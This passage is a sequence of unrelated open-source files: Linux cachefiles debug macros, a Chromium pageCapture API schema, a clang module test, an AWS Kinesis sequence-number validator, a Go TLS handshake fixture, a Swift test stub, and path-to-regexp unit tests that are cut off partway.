cachefiles_cache *___cache; \ \ ___cache = container_of((object)->fscache.cache, \ struct cachefiles_cache, cache); \ cachefiles_io_error(___cache, FMT, ##__VA_ARGS__); \ } while (0) /* * debug tracing */ #define dbgprintk(FMT, ...) \ printk(KERN_DEBUG "[%-6.6s] "FMT"\n", current->comm, ##__VA_ARGS__) #define kenter(FMT, ...) dbgprintk("==> %s("FMT")", __func__, ##__VA_ARGS__) #define kleave(FMT, ...) dbgprintk("<== %s()"FMT"", __func__, ##__VA_ARGS__) #define kdebug(FMT, ...) dbgprintk(FMT, ##__VA_ARGS__) #if defined(__KDEBUG) #define _enter(FMT, ...) kenter(FMT, ##__VA_ARGS__) #define _leave(FMT, ...) kleave(FMT, ##__VA_ARGS__) #define _debug(FMT, ...) kdebug(FMT, ##__VA_ARGS__) #elif defined(CONFIG_CACHEFILES_DEBUG) #define _enter(FMT, ...) \ do { \ if (cachefiles_debug & CACHEFILES_DEBUG_KENTER) \ kenter(FMT, ##__VA_ARGS__); \ } while (0) #define _leave(FMT, ...) \ do { \ if (cachefiles_debug & CACHEFILES_DEBUG_KLEAVE) \ kleave(FMT, ##__VA_ARGS__); \ } while (0) #define _debug(FMT, ...) \ do { \ if (cachefiles_debug & CACHEFILES_DEBUG_KDEBUG) \ kdebug(FMT, ##__VA_ARGS__); \ } while (0) #else #define _enter(FMT, ...) no_printk("==> %s("FMT")", __func__, ##__VA_ARGS__) #define _leave(FMT, ...) no_printk("<== %s()"FMT"", __func__, ##__VA_ARGS__) #define _debug(FMT, ...) no_printk(FMT, ##__VA_ARGS__) #endif #if 1 /* defined(__KDEBUGALL) */ #define ASSERT(X) \ do { \ if (unlikely(!(X))) { \ pr_err("\n"); \ pr_err("Assertion failed\n"); \ BUG(); \ } \ } while (0) #define ASSERTCMP(X, OP, Y) \ do { \ if (unlikely(!((X) OP (Y)))) { \ pr_err("\n"); \ pr_err("Assertion failed\n"); \ pr_err("%lx " #OP " %lx is false\n", \ (unsigned long)(X), (unsigned long)(Y)); \ BUG(); \ } \ } while (0) #define ASSERTIF(C, X) \ do { \ if (unlikely((C) && !(X))) { \ pr_err("\n"); \ pr_err("Assertion failed\n"); \ BUG(); \ } \ } while (0) #define ASSERTIFCMP(C, X, OP, Y) \ do { \ if (unlikely((C) && !((X) OP (Y)))) { \ pr_err("\n"); \ pr_err("Assertion failed\n"); \ pr_err("%lx " #OP " %lx is false\n", \ (unsigned long)(X), (unsigned long)(Y)); \ BUG(); \ } \ } while (0) #else #define ASSERT(X) do {} while (0) #define ASSERTCMP(X, OP, Y) do {} while (0) #define ASSERTIF(C, X) do {} while (0) #define ASSERTIFCMP(C, X, OP, Y) do {} while (0) #endif
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. [ { "namespace": "pageCapture", "description": "Use the <code>chrome.pageCapture</code> API to save a tab as MHTML.", "functions": [ { "name": "saveAsMHTML", "type": "function", "description": "Saves the content of the tab with given id as MHTML.", "parameters": [ { "name": "details", "type": "object", "properties": { "tabId": { "type": "integer", "minimum": 0, "description": "The id of the tab to save as MHTML." } } }, { "name": "callback", "type": "function", "description": "Called when the MHTML has been generated.", "parameters": [ { "name": "mhtmlData", "type": "binary", "optional": "true", "description": "The MHTML data as a Blob." } ] } ] } ] } ]
{ "pile_set_name": "Github" }
// RUN: rm -rf %t // Use -DA=0 so that there is at least one preprocessor option serialized after the diagnostic options. // RUN: %clang_cc1 -fmodules -fmodules-cache-path=%t -fimplicit-module-maps -I %S/Inputs %s -DA=0 -Rmodule-build -verify // RUN: %clang_cc1 -fmodules -fmodules-cache-path=%t -fimplicit-module-maps -I %S/Inputs %s -DA=0 -Werror -Rmodule-build -verify @import category_top; // expected-remark {{building module}} expected-remark {{finished building}}
{ "pile_set_name": "Github" }
/* * Copyright 2019 Amazon.com, Inc. or its affiliates. * Licensed under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package software.amazon.kinesis.checkpoint; import java.math.BigInteger; import java.util.Collections; import java.util.List; import java.util.Optional; import org.apache.commons.lang3.StringUtils; import lombok.Data; import lombok.experimental.Accessors; /** * This supports extracting the shardId from a sequence number. * * <h2>Warning</h2> * <strong>Sequence numbers are an opaque value used by Kinesis, and maybe changed at any time. Should validation stop * working you may need to update your version of the KCL</strong> * */ public class SequenceNumberValidator { @Data @Accessors(fluent = true) private static class SequenceNumberComponents { final int version; final int shardId; } private interface SequenceNumberReader { Optional<SequenceNumberComponents> read(String sequenceNumber); } /** * Reader for the v2 sequence number format. v1 sequence numbers are no longer used or available. */ private static class V2SequenceNumberReader implements SequenceNumberReader { private static final int VERSION = 2; private static final int EXPECTED_BIT_LENGTH = 186; private static final int VERSION_OFFSET = 184; private static final long VERSION_MASK = (1 << 4) - 1; private static final int SHARD_ID_OFFSET = 4; private static final long SHARD_ID_MASK = (1L << 32) - 1; @Override public Optional<SequenceNumberComponents> read(String sequenceNumberString) { BigInteger sequenceNumber = new BigInteger(sequenceNumberString, 10); // // If the bit length of the sequence number isn't 186 it's impossible for the version numbers // to be where we expect them. We treat this the same as an unknown version of the sequence number // // If the sequence number length isn't what we expect it's due to a new version of the sequence number or // an invalid sequence number. This // if (sequenceNumber.bitLength() != EXPECTED_BIT_LENGTH) { return Optional.empty(); } // // Read the 4 most significant bits of the sequence number, the 2 most significant bits are implicitly 0 // (2 == 0b0011). If the version number doesn't match we give up and say we can't parse the sequence number // int version = readOffset(sequenceNumber, VERSION_OFFSET, VERSION_MASK); if (version != VERSION) { return Optional.empty(); } // // If we get here the sequence number is big enough, and the version matches so the shardId should be valid. // int shardId = readOffset(sequenceNumber, SHARD_ID_OFFSET, SHARD_ID_MASK); return Optional.of(new SequenceNumberComponents(version, shardId)); } private int readOffset(BigInteger sequenceNumber, int offset, long mask) { long value = sequenceNumber.shiftRight(offset).longValue() & mask; return (int) value; } } private static final List<SequenceNumberReader> SEQUENCE_NUMBER_READERS = Collections .singletonList(new V2SequenceNumberReader()); private Optional<SequenceNumberComponents> retrieveComponentsFor(String sequenceNumber) { return SEQUENCE_NUMBER_READERS.stream().map(r -> r.read(sequenceNumber)).filter(Optional::isPresent).map(Optional::get).findFirst(); } /** * Attempts to retrieve the version for a sequence number. If no reader can be found for the sequence number this * will return an empty Optional. * * <p> * <strong>This will return an empty Optional if the it's unable to extract the version number. This can occur for * multiple reasons including: * <ul> * <li>Kinesis has started using a new version of sequence numbers</li> * <li>The provided sequence number isn't a valid Kinesis sequence number.</li> * </ul> * </strong> * </p> * * @param sequenceNumber * the sequence number to extract the version from * @return an Optional containing the version if a compatible sequence number reader can be found, an empty Optional * otherwise. */ public Optional<Integer> versionFor(String sequenceNumber) { return retrieveComponentsFor(sequenceNumber).map(SequenceNumberComponents::version); } /** * Attempts to retrieve the shardId from a sequence number. If the version of the sequence number is unsupported * this will return an empty optional. * * <strong>This will return an empty Optional if the sequence number isn't recognized. This can occur for multiple * reasons including: * <ul> * <li>Kinesis has started using a new version of sequence numbers</li> * <li>The provided sequence number isn't a valid Kinesis sequence number.</li> * </ul> * </strong> * <p> * This should always return a value if {@link #versionFor(String)} returns a value * </p> * * @param sequenceNumber * the sequence number to extract the shardId from * @return an Optional containing the shardId if the version is supported, an empty Optional otherwise. */ public Optional<String> shardIdFor(String sequenceNumber) { return retrieveComponentsFor(sequenceNumber).map(s -> String.format("shardId-%012d", s.shardId())); } /** * Validates that the sequence number provided contains the given shardId. If the sequence number is unsupported * this will return an empty Optional. * * <p> * Validation of a sequence number will only occur if the sequence number can be parsed. It's possible to use * {@link #versionFor(String)} to verify that the given sequence number is supported by this class. There are 3 * possible validation states: * <dl> * <dt>Some(True)</dt> * <dd>The sequence number can be parsed, and the shardId matches the one in the sequence number</dd> * <dt>Some(False)</dt> * <dd>THe sequence number can be parsed, and the shardId doesn't match the one in the sequence number</dd> * <dt>None</dt> * <dd>It wasn't possible to parse the sequence number so the validity of the sequence number is unknown</dd> * </dl> * </p> * * <p> * <strong>Handling unknown validation causes is application specific, and not specific handling is * provided.</strong> * </p> * * @param sequenceNumber * the sequence number to verify the shardId * @param shardId * the shardId that the sequence is expected to contain * @return true if the sequence number contains the shardId, false if it doesn't. If the sequence number version is * unsupported this will return an empty Optional */ public Optional<Boolean> validateSequenceNumberForShard(String sequenceNumber, String shardId) { return shardIdFor(sequenceNumber).map(s -> StringUtils.equalsIgnoreCase(s, shardId)); } }
{ "pile_set_name": "Github" }
>>> Flow 1 (client to server) 00000000 16 03 01 00 5d 01 00 00 59 03 03 8e 50 ff 02 c4 |....]...Y...P...| 00000010 3b 5e dd ee 59 d1 3a e1 db f1 30 f4 bb a7 8a 8c |;^..Y.:...0.....| 00000020 b2 d2 1a fd f8 a4 c9 e4 5f 41 e1 00 00 04 00 2f |........_A...../| 00000030 00 ff 01 00 00 2c 00 0d 00 20 00 1e 06 01 06 02 |.....,... ......| 00000040 06 03 05 01 05 02 05 03 04 01 04 02 04 03 03 01 |................| 00000050 03 02 03 03 02 01 02 02 02 03 00 16 00 00 00 17 |................| 00000060 00 00 |..| >>> Flow 2 (server to client) 00000000 16 03 03 00 31 02 00 00 2d 03 03 00 00 00 00 00 |....1...-.......| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 00 00 |............./..| 00000030 05 ff 01 00 01 00 16 03 03 02 59 0b 00 02 55 00 |..........Y...U.| 00000040 02 52 00 02 4f 30 82 02 4b 30 82 01 b4 a0 03 02 |.R..O0..K0......| 00000050 01 02 02 09 00 e8 f0 9d 3f e2 5b ea a6 30 0d 06 |........?.[..0..| 00000060 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 1f 31 0b |.*.H........0.1.| 00000070 30 09 06 03 55 04 0a 13 02 47 6f 31 10 30 0e 06 |0...U....Go1.0..| 00000080 03 55 04 03 13 07 47 6f 20 52 6f 6f 74 30 1e 17 |.U....Go Root0..| 00000090 0d 31 36 30 31 30 31 30 30 30 30 30 30 5a 17 0d |.160101000000Z..| 000000a0 32 35 30 31 30 31 30 30 30 30 30 30 5a 30 1a 31 |250101000000Z0.1| 000000b0 0b 30 09 06 03 55 04 0a 13 02 47 6f 31 0b 30 09 |.0...U....Go1.0.| 000000c0 06 03 55 04 03 13 02 47 6f 30 81 9f 30 0d 06 09 |..U....Go0..0...| 000000d0 2a 86 48 86 f7 0d 01 01 01 05 00 03 81 8d 00 30 |*.H............0| 000000e0 81 89 02 81 81 00 db 46 7d 93 2e 12 27 06 48 bc |.......F}...'.H.| 000000f0 06 28 21 ab 7e c4 b6 a2 5d fe 1e 52 45 88 7a 36 |.(!.~...]..RE.z6| 00000100 47 a5 08 0d 92 42 5b c2 81 c0 be 97 79 98 40 fb |G....B[.....y.@.| 00000110 4f 6d 14 fd 2b 13 8b c2 a5 2e 67 d8 d4 09 9e d6 |Om..+.....g.....| 00000120 22 38 b7 4a 0b 74 73 2b c2 34 f1 d1 93 e5 96 d9 |"8.J.ts+.4......| 00000130 74 7b f3 58 9f 6c 61 3c c0 b0 41 d4 d9 2b 2b 24 |t{.X.la<..A..++$| 00000140 23 77 5b 1c 3b bd 75 5d ce 20 54 cf a1 63 87 1d |#w[.;.u]. T..c..| 00000150 1e 24 c4 f3 1d 1a 50 8b aa b6 14 43 ed 97 a7 75 |.$....P....C...u| 00000160 62 f4 14 c8 52 d7 02 03 01 00 01 a3 81 93 30 81 |b...R.........0.| 00000170 90 30 0e 06 03 55 1d 0f 01 01 ff 04 04 03 02 05 |.0...U..........| 00000180 a0 30 1d 06 03 55 1d 25 04 16 30 14 06 08 2b 06 |.0...U.%..0...+.| 00000190 01 05 05 07 03 01 06 08 2b 06 01 05 05 07 03 02 |........+.......| 000001a0 30 0c 06 03 55 1d 13 01 01 ff 04 02 30 00 30 19 |0...U.......0.0.| 000001b0 06 03 55 1d 0e 04 12 04 10 9f 91 16 1f 43 43 3e |..U..........CC>| 000001c0 49 a6 de 6d b6 80 d7 9f 60 30 1b 06 03 55 1d 23 |I..m....`0...U.#| 000001d0 04 14 30 12 80 10 48 13 49 4d 13 7e 16 31 bb a3 |..0...H.IM.~.1..| 000001e0 01 d5 ac ab 6e 7b 30 19 06 03 55 1d 11 04 12 30 |....n{0...U....0| 000001f0 10 82 0e 65 78 61 6d 70 6c 65 2e 67 6f 6c 61 6e |...example.golan| 00000200 67 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 |g0...*.H........| 00000210 03 81 81 00 9d 30 cc 40 2b 5b 50 a0 61 cb ba e5 |.....0.@+[P.a...| 00000220 53 58 e1 ed 83 28 a9 58 1a a9 38 a4 95 a1 ac 31 |SX...(.X..8....1| 00000230 5a 1a 84 66 3d 43 d3 2d d9 0b f2 97 df d3 20 64 |Z..f=C.-...... d| 00000240 38 92 24 3a 00 bc cf 9c 7d b7 40 20 01 5f aa d3 |8.$:....}.@ ._..| 00000250 16 61 09 a2 76 fd 13 c3 cc e1 0c 5c ee b1 87 82 |.a..v......\....| 00000260 f1 6c 04 ed 73 bb b3 43 77 8d 0c 1c f1 0f a1 d8 |.l..s..Cw.......| 00000270 40 83 61 c9 4c 72 2b 9d ae db 46 06 06 4d f4 c1 |@.a.Lr+...F..M..| 00000280 b3 3e c0 d1 bd 42 d4 db fe 3d 13 60 84 5c 21 d3 |.>...B...=.`.\!.| 00000290 3b e9 fa e7 16 03 03 00 17 0d 00 00 13 02 01 40 |;..............@| 000002a0 00 0c 04 01 04 03 05 01 05 03 02 01 02 03 00 00 |................| 000002b0 16 03 03 00 04 0e 00 00 00 |.........| >>> Flow 3 (client to server) 00000000 16 03 03 02 0a 0b 00 02 06 00 02 03 00 02 00 30 |...............0| 00000010 82 01 fc 30 82 01 5e 02 09 00 9a 30 84 6c 26 35 |...0..^....0.l&5| 00000020 d9 17 30 09 06 07 2a 86 48 ce 3d 04 01 30 45 31 |..0...*.H.=..0E1| 00000030 0b 30 09 06 03 55 04 06 13 02 41 55 31 13 30 11 |.0...U....AU1.0.| 00000040 06 03 55 04 08 13 0a 53 6f 6d 65 2d 53 74 61 74 |..U....Some-Stat| 00000050 65 31 21 30 1f 06 03 55 04 0a 13 18 49 6e 74 65 |e1!0...U....Inte| 00000060 72 6e 65 74 20 57 69 64 67 69 74 73 20 50 74 79 |rnet Widgits Pty| 00000070 20 4c 74 64 30 1e 17 0d 31 32 31 31 31 34 31 33 | Ltd0...12111413| 00000080 32 35 35 33 5a 17 0d 32 32 31 31 31 32 31 33 32 |2553Z..221112132| 00000090 35 35 33 5a 30 41 31 0b 30 09 06 03 55 04 06 13 |553Z0A1.0...U...| 000000a0 02 41 55 31 0c 30 0a 06 03 55 04 08 13 03 4e 53 |.AU1.0...U....NS| 000000b0 57 31 10 30 0e 06 03 55 04 07 13 07 50 79 72 6d |W1.0...U....Pyrm| 000000c0 6f 6e 74 31 12 30 10 06 03 55 04 03 13 09 4a 6f |ont1.0...U....Jo| 000000d0 65 6c 20 53 69 6e 67 30 81 9b 30 10 06 07 2a 86 |el Sing0..0...*.| 000000e0 48 ce 3d 02 01 06 05 2b 81 04 00 23 03 81 86 00 |H.=....+...#....| 000000f0 04 00 95 8c 91 75 14 c0 5e c4 57 b4 d4 c3 6f 8d |.....u..^.W...o.| 00000100 ae 68 1e dd 6f ce 86 e1 7e 6e b2 48 3e 81 e5 4e |.h..o...~n.H>..N| 00000110 e2 c6 88 4b 64 dc f5 30 bb d3 ff 65 cc 5b f4 dd |...Kd..0...e.[..| 00000120 b5 6a 3e 3e d0 1d de 47 c3 76 ad 19 f6 45 2c 8c |.j>>...G.v...E,.| 00000130 bc d8 1d 01 4c 1f 70 90 46 76 48 8b 8f 83 cc 4a |....L.p.FvH....J| 00000140 5c 8f 40 76 da e0 89 ec 1d 2b c4 4e 30 76 28 41 |\.@v.....+.N0v(A| 00000150 b2 62 a8 fb 5b f1 f9 4e 7a 8d bd 09 b8 ae ea 8b |.b..[..Nz.......| 00000160 18 27 4f 2e 70 fe 13 96 ba c3 d3 40 16 cd 65 4e |.'[email protected]| 00000170 ac 11 1e e6 f1 30 09 06 07 2a 86 48 ce 3d 04 01 |.....0...*.H.=..| 00000180 03 81 8c 00 30 81 88 02 42 00 e0 14 c4 60 60 0b |....0...B....``.| 00000190 72 68 b0 32 5d 61 4a 02 74 5c c2 81 b9 16 a8 3f |rh.2]aJ.t\.....?| 000001a0 29 c8 36 c7 81 ff 6c b6 5b d9 70 f1 38 3b 50 48 |).6...l.[.p.8;PH| 000001b0 28 94 cb 09 1a 52 f1 5d ee 8d f2 b9 f0 f0 da d9 |(....R.]........| 000001c0 15 3a f9 bd 03 7a 87 a2 23 35 ec 02 42 01 a3 d4 |.:...z..#5..B...| 000001d0 8a 78 35 1c 4a 9a 23 d2 0a be 2b 10 31 9d 9c 5f |.x5.J.#...+.1.._| 000001e0 be e8 91 b3 da 1a f5 5d a3 23 f5 26 8b 45 70 8d |.......].#.&.Ep.| 000001f0 65 62 9b 7e 01 99 3d 18 f6 10 9a 38 61 9b 2e 57 |eb.~..=....8a..W| 00000200 e4 fa cc b1 8a ce e2 23 a0 87 f0 e1 67 51 eb 16 |.......#....gQ..| 00000210 03 03 00 86 10 00 00 82 00 80 2b 80 6e 49 b8 ec |..........+.nI..| 00000220 12 7a 7c f3 2a d3 7e 16 a0 39 e5 77 61 7a 56 15 |.z|.*.~..9.wazV.| 00000230 97 c6 64 63 13 cf 09 d0 1b f5 b6 78 1d cb 86 4f |..dc.......x...O| 00000240 14 84 c9 e6 5d 3c 6b 61 5e 46 83 7e ef 1d 74 d4 |....]<ka^F.~..t.| 00000250 3b 8c 78 be 26 92 24 04 b4 6f 21 88 03 8d 92 a8 |;.x.&.$..o!.....| 00000260 60 c6 08 b5 75 5d 2f 2c 71 60 5f 54 27 a0 fa 83 |`...u]/,q`_T'...| 00000270 4d 39 1e 22 1e 1e 60 92 51 ac 2d 35 c7 cf fc 5e |M9."..`.Q.-5...^| 00000280 db e3 60 37 6b 4e 7c d8 04 f3 09 54 de 38 af 57 |..`7kN|....T.8.W| 00000290 20 d0 f5 08 5a a8 6f 65 03 55 16 03 03 00 93 0f | ...Z.oe.U......| 000002a0 00 00 8f 04 03 00 8b 30 81 88 02 42 00 97 84 ac |.......0...B....| 000002b0 cf 9b df b0 3a c8 9d a6 da 8c 11 87 35 2a d7 d0 |....:.......5*..| 000002c0 15 df e1 02 ca 85 3f 1c a5 21 17 8c 8a 73 1b 76 |......?..!...s.v| 000002d0 8d 0f af 26 ea b5 7f 87 a6 b6 c8 61 32 27 fc f4 |...&.......a2'..| 000002e0 b7 c5 c3 2c 53 61 59 5a 5d 12 c6 dd 9e 54 02 42 |...,SaYZ]....T.B| 000002f0 01 04 3f 82 bb a4 5c ea ea c9 9c 2a 75 96 c2 88 |..?...\....*u...| 00000300 5a ae f8 2e 29 01 cf 7b a4 20 83 df ec c8 9d 37 |Z...)..{. .....7| 00000310 0c 33 fb 20 73 51 47 6d 81 d0 75 b1 19 ed 02 00 |.3. sQGm..u.....| 00000320 b8 40 67 75 b9 72 63 9c 1e e1 c9 44 93 d6 ec e7 |[email protected]....| 00000330 16 5c 14 03 03 00 01 01 16 03 03 00 40 43 51 cf |.\..........@CQ.| 00000340 07 b2 de 6e 40 10 eb dd 3f 84 6a 54 a3 7f b2 48 |...n@...?.jT...H| 00000350 b3 aa 3c d4 e7 69 32 7c 77 ba e9 0b 99 b3 c9 e8 |..<..i2|w.......| 00000360 c5 53 29 9a 6b 82 ee 7d 5e a9 ae 63 fa a9 af 21 |.S).k..}^..c...!| 00000370 f2 04 b1 a1 bf f1 10 4c 65 6c 49 34 a0 |.......LelI4.| >>> Flow 4 (server to client) 00000000 14 03 03 00 01 01 16 03 03 00 40 00 00 00 00 00 |..........@.....| 00000010 00 00 00 00 00 00 00 00 00 00 00 93 a2 18 a9 e2 |................| 00000020 51 be f7 bd c0 05 64 51 0a 17 9d 58 11 d1 a6 b9 |Q.....dQ...X....| 00000030 6d 1e 42 16 e4 bc bf 09 f2 b9 29 20 74 8a cd 8a |m.B.......) t...| 00000040 b6 31 04 64 fb 5b 1f 83 c3 19 78 17 03 03 00 40 |.1.d.[....x....@| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000060 ee c4 d0 5d 69 37 2b fc dc 9c f1 77 df 44 6f da |...]i7+....w.Do.| 00000070 4e 22 05 05 3a 6c 32 a8 6c c2 fb ce ca a7 1b 54 |N"..:l2.l......T| 00000080 2a 25 ae cf 77 e4 47 21 33 b6 29 54 62 00 dd 30 |*%..w.G!3.)Tb..0| 00000090 15 03 03 00 30 00 00 00 00 00 00 00 00 00 00 00 |....0...........| 000000a0 00 00 00 00 00 cf e1 fd e3 5f d3 19 cd 05 70 79 |........._....py| 000000b0 be 16 a5 26 18 f1 92 bc 73 bd 6f 4d 33 3d 6f 8a |...&....s.oM3=o.| 000000c0 13 51 7c 57 c7 |.Q|W.|
{ "pile_set_name": "Github" }
// // Project_37___CoreDataTests.swift // Project 37 - CoreDataTests // // Created by 陈炯 on 16/7/14. // Copyright © 2016年 Jiong. All rights reserved. // import XCTest @testable import Project_37___CoreData class Project_37___CoreDataTests: XCTestCase { override func setUp() { super.setUp() // Put setup code here. This method is called before the invocation of each test method in the class. } override func tearDown() { // Put teardown code here. This method is called after the invocation of each test method in the class. super.tearDown() } func testExample() { // This is an example of a functional test case. // Use XCTAssert and related functions to verify your tests produce the correct results. } func testPerformanceExample() { // This is an example of a performance test case. self.measure { // Put the code you want to measure the time of here. } } }
{ "pile_set_name": "Github" }
var pathToRegExp = require('./'); var assert = require('assert'); describe('path-to-regexp', function () { describe('strings', function () { it('should match simple paths', function () { var params = []; var m = pathToRegExp('/test', params).exec('/test'); assert.equal(params.length, 0); assert.equal(m.length, 1); assert.equal(m[0], '/test'); }); it('should match express format params', function () { var params = []; var m = pathToRegExp('/:test', params).exec('/pathname'); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], '/pathname'); assert.equal(m[1], 'pathname'); }); it('should do strict matches', function () { var params = []; var re = pathToRegExp('/:test', params, { strict: true }); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); m = re.exec('/route'); assert.equal(m.length, 2); assert.equal(m[0], '/route'); assert.equal(m[1], 'route'); m = re.exec('/route/'); assert.ok(!m); }); it('should allow optional express format params', function () { var params = []; var re = pathToRegExp('/:test?', params); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, true); m = re.exec('/route'); assert.equal(m.length, 2); assert.equal(m[0], '/route'); assert.equal(m[1], 'route'); m = re.exec('/'); assert.equal(m.length, 2); assert.equal(m[0], '/'); assert.equal(m[1], undefined); }); it('should allow express format param regexps', function () { var params = []; var m = pathToRegExp('/:page(\\d+)', params).exec('/56'); assert.equal(params.length, 1); assert.equal(params[0].name, 'page'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], '/56'); assert.equal(m[1], '56'); }); it('should match without a prefixed slash', function () { var params = []; var m = pathToRegExp(':test', params).exec('string'); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], 'string'); assert.equal(m[1], 'string'); }); it('should not match format parts', function () { var params = []; var m = pathToRegExp('/:test.json', params).exec('/route.json'); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], '/route.json'); assert.equal(m[1], 'route'); }); it('should match format parts', function () { var params = []; var re = pathToRegExp('/:test.:format', params); var m; assert.equal(params.length, 2); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(params[1].name, 'format'); assert.equal(params[1].optional, false); m = re.exec('/route.json'); assert.equal(m.length, 3); assert.equal(m[0], '/route.json'); assert.equal(m[1], 'route'); assert.equal(m[2], 'json'); m = re.exec('/route'); assert.ok(!m); }); it('should match route parts with a trailing format', function () { var params = []; var m = pathToRegExp('/:test.json', params).exec('/route.json'); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], '/route.json'); assert.equal(m[1], 'route'); }); it('should match optional trailing routes', function () { var params = []; var m = pathToRegExp('/test*', params).exec('/test/route'); assert.equal(params.length, 0); assert.equal(m.length, 2); assert.equal(m[0], '/test/route'); assert.equal(m[1], '/route'); }); it('should match optional trailing routes after a param', function () { var params = []; var re = pathToRegExp('/:test*', params); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); m = re.exec('/test/route'); assert.equal(m.length, 3); assert.equal(m[0], '/test/route'); assert.equal(m[1], 'test'); assert.equal(m[2], '/route'); m = re.exec('/testing'); assert.equal(m.length, 3); assert.equal(m[0], '/testing'); assert.equal(m[1], 'testing'); assert.equal(m[2], ''); }); it('should match optional trailing routes before a format', function () { var params = []; var re = pathToRegExp('/test*.json', params); var m; assert.equal(params.length, 0); m = re.exec('/test.json'); assert.equal(m.length, 2); assert.equal(m[0], '/test.json'); assert.equal(m[1], ''); m = re.exec('/testing.json'); assert.equal(m.length, 2); assert.equal(m[0], '/testing.json'); assert.equal(m[1], 'ing'); m = re.exec('/test/route.json'); assert.equal(m.length, 2); assert.equal(m[0], '/test/route.json'); assert.equal(m[1], '/route'); }); it('should match optional trailing routes after a param and before a format', function () { var params = []; var re = pathToRegExp('/:test*.json', params); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); m = re.exec('/testing.json'); assert.equal(m.length, 3); assert.equal(m[0], '/testing.json'); assert.equal(m[1], 'testing'); assert.equal(m[2], ''); m = re.exec('/test/route.json'); assert.equal(m.length, 3); assert.equal(m[0], '/test/route.json'); assert.equal(m[1], 'test'); assert.equal(m[2], '/route'); m = re.exec('.json'); assert.ok(!m); }); it('should match optional trailing routes between a normal param and a format param', function () { var params = []; var re = pathToRegExp('/:test*.:format', params); var m; assert.equal(params.length, 2); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(params[1].name, 'format'); assert.equal(params[1].optional, false); m = re.exec('/testing.json'); assert.equal(m.length, 4); assert.equal(m[0], '/testing.json'); assert.equal(m[1], 'testing'); assert.equal(m[2], ''); assert.equal(m[3], 'json'); m = re.exec('/test/route.json'); assert.equal(m.length, 4); assert.equal(m[0], '/test/route.json'); assert.equal(m[1], 'test'); assert.equal(m[2], '/route'); assert.equal(m[3], 'json'); m = re.exec('/test'); assert.ok(!m); m = re.exec('.json'); assert.ok(!m); }); it('should match optional trailing routes after a param and before an optional format param', function () { var params = []; var re = pathToRegExp('/:test*.:format?', params); var m; assert.equal(params.length, 2); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(params[1].name, 'format'); assert.equal(params[1].optional, true); m = re.exec('/testing.json'); assert.equal(m.length, 4); assert.equal(m[0], '/testing.json'); assert.equal(m[1], 'testing'); assert.equal(m[2], ''); assert.equal(m[3], 'json'); m = re.exec('/test/route.json'); assert.equal(m.length, 4); assert.equal(m[0], '/test/route.json'); assert.equal(m[1], 'test'); assert.equal(m[2], '/route'); assert.equal(m[3], 'json'); m = re.exec('/test'); assert.equal(m.length, 4); assert.equal(m[0], '/test'); assert.equal(m[1], 'test'); assert.equal(m[2], ''); assert.equal(m[3], undefined); m = re.exec('.json'); assert.ok(!m); }); it('should match optional trailing routes inside optional express param', function () { var params = []; var re = pathToRegExp('/:test*?', params); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, true); m = re.exec('/test/route'); assert.equal(m.length, 3); assert.equal(m[0], '/test/route'); assert.equal(m[1], 'test'); assert.equal(m[2], '/route'); m = re.exec('/test'); assert.equal(m.length, 3); assert.equal(m[0], '/test'); assert.equal(m[1], 'test'); assert.equal(m[2], ''); m = re.exec('/'); assert.equal(m.length, 3); assert.equal(m[0], '/'); assert.equal(m[1], undefined); assert.equal(m[2], undefined); }); it('should do case insensitive matches', function () { var m = pathToRegExp('/test').exec('/TEST'); assert.equal(m[0], '/TEST'); }); it('should do case sensitive matches', function () { var re = pathToRegExp('/test', null, { sensitive: true }); var m; m = re.exec('/test'); assert.equal(m.length, 1); assert.equal(m[0], '/test'); m = re.exec('/TEST'); assert.ok(!m); }); it('should do non-ending matches', function () { var params = []; var m = pathToRegExp('/:test', params, { end: false }).exec('/test/route'); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); assert.equal(m.length, 2); assert.equal(m[0], '/test'); assert.equal(m[1], 'test'); }); it('should match trailing slashes in non-ending non-strict mode', function () { var params = []; var re = pathToRegExp('/:test', params, { end: false }); var m; assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); m = re.exec('/test/'); assert.equal(m.length, 2); assert.equal(m[0], '/test/'); assert.equal(m[1], 'test'); }); it('should not match trailing slashes in non-ending strict mode', function () { var params = []; var re = pathToRegExp('/:test', params, { end: false, strict: true }); assert.equal(params.length, 1); assert.equal(params[0].name, 'test'); assert.equal(params[0].optional, false); m = re.exec('/test/'); assert.equal(m.length, 2); assert.equal(m[0], '/test'); assert.equal(m[1], 